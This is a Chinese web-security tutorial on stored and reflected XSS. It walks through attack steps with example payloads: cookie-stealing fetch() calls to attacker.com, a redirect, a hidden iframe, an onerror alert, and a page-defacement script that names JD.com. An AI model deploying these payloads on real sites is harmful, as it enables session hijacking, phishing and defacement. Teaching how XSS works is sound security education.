Skip to content

跨站脚本攻击(XSS)

跨站脚本攻击(Cross-Site Scripting, XSS)是一种常见的 Web 安全漏洞, 攻击者通过在网页中注入恶意脚本, 当其他用户访问该页面时, 脚本会在他们的浏览器中执行。XSS 攻击可能导致用户信息泄露、会话劫持、钓鱼攻击等严重后果。

XSS 攻击的类型

XSS 攻击主要分为以下三种类型:

存储型 XSS(Stored XSS)

  • 描述:攻击者将恶意脚本提交到服务器并存储在数据库中,当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

  • 特点:

    • 恶意脚本存储在服务器上。
    • 所有访问受影响页面的用户都会受到攻击。
    • 危害性更大,影响范围更广。

示例攻击步骤:

1. 发现输入点

攻击者寻找允许用户输入内容且未充分过滤的 Web 功能模块,例如:

  • 留言板、评论区
  • 用户个人资料(如昵称、简介)
  • 文件上传(文件名或文件内容)
  • 论坛帖子、聊天消息

示例: 攻击者发现一个在线论坛允许用户在帖子中插入 HTML 标签。

2. 构造恶意脚本

攻击者根据目标页面的上下文构造恶意脚本(Payload),常见形式包括:

  1. 窃取 Cookie:
html
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
  1. 伪造登录页面(钓鱼):

引导用户访问一个伪装成合法网站的钓鱼网站,以获取更多个人信息。

  • 重定向用户:
js
<script>
  window.location.href='http://attacker.com';
</script>
  • 或者更隐蔽地,在页面中插入一个不可见的iframe:
  • 攻击者可以利用不可见的<iframe>覆盖在合法页面上,诱导用户点击他们认为是正常界面元素的位置。实际上,用户的点击会触发在<iframe>内加载的恶意页面上的操作,如下载恶意软件、访问恶意网站等。
html
<iframe src="http://attacker.com" style="width:0;height:0;border:0; border:none;"></iframe>
  1. 触发恶意行为:
html
<img src="invalid" onerror="alert('XSS')">
  1. 篡改网页内容 修改网页的内容,误导用户或破坏用户体验。

篡改显示内容:

javascript
<script>
  document.body.innerHTML = '<h1>京东网管是大傻X, 网站已被攻击!!!</h1>';
</script>

这种攻击不仅会影响用户体验,还可能导致用户对网站的信任度下降。

3. 提交恶意内容

攻击者将构造的恶意脚本通过输入点提交到服务器,并被存储到数据库中(数据库将保存未经处理的用户输入,包括恶意脚本)。

示例:

攻击者在论坛的帖子中插入以下内容:

html
<script>
  // 窃取用户的 Cookie 并发送到攻击者的服务器
  fetch('https://attacker.com/steal?data=' + encodeURIComponent(document.cookie));
</script>

4. 触发恶意脚本

当其他用户访问包含恶意脚本的页面时,服务器会将存储的恶意内容返回给用户的浏览器,浏览器解析并执行脚本。

示例:

普通用户访问被篡改的论坛帖子时,浏览器会执行以下步骤:

  1. 从服务器加载帖子内容。
  2. 解析 HTML 时发现 <script> 标签。
  3. 执行脚本,将用户的 Cookie 发送到攻击者的服务器。

反射型 XSS(Reflected XSS)

  • 描述:攻击者将恶意脚本作为参数注入到 URL 中,当用户点击包含恶意脚本的链接时,脚本会在用户的浏览器中执行。

  • 特点:

    • 恶意脚本通过 URL 传递。
    • 通常需要用户主动点击恶意链接。
    • 攻击是一次性的,仅对点击链接的用户生效。
  • 示例: 假设有一个搜索功能的网站,其URL格式如下:

https://example.com/search?q=keyword

当用户提交一个查询词“keyword”,服务器会生成一个包含该查询词的结果页面,并将“keyword”显示在结果页面中。如果这个过程没有对用户的输入进行适当的处理,那么攻击者可以构造一个包含恶意JavaScript代码的URL,例如:

https://example.com/search?q=<script>alert('XSS')</script>

如果用户点击了这个链接或者搜索引擎索引了这个链接并展示给其他用户点击,那么当页面加载时,这段恶意脚本就会被执行,在用户的浏览器上弹出一个警告框。这只是一个简单的例子,实际攻击可能会更复杂和危险,如窃取cookie信息、执行身份验证操作等。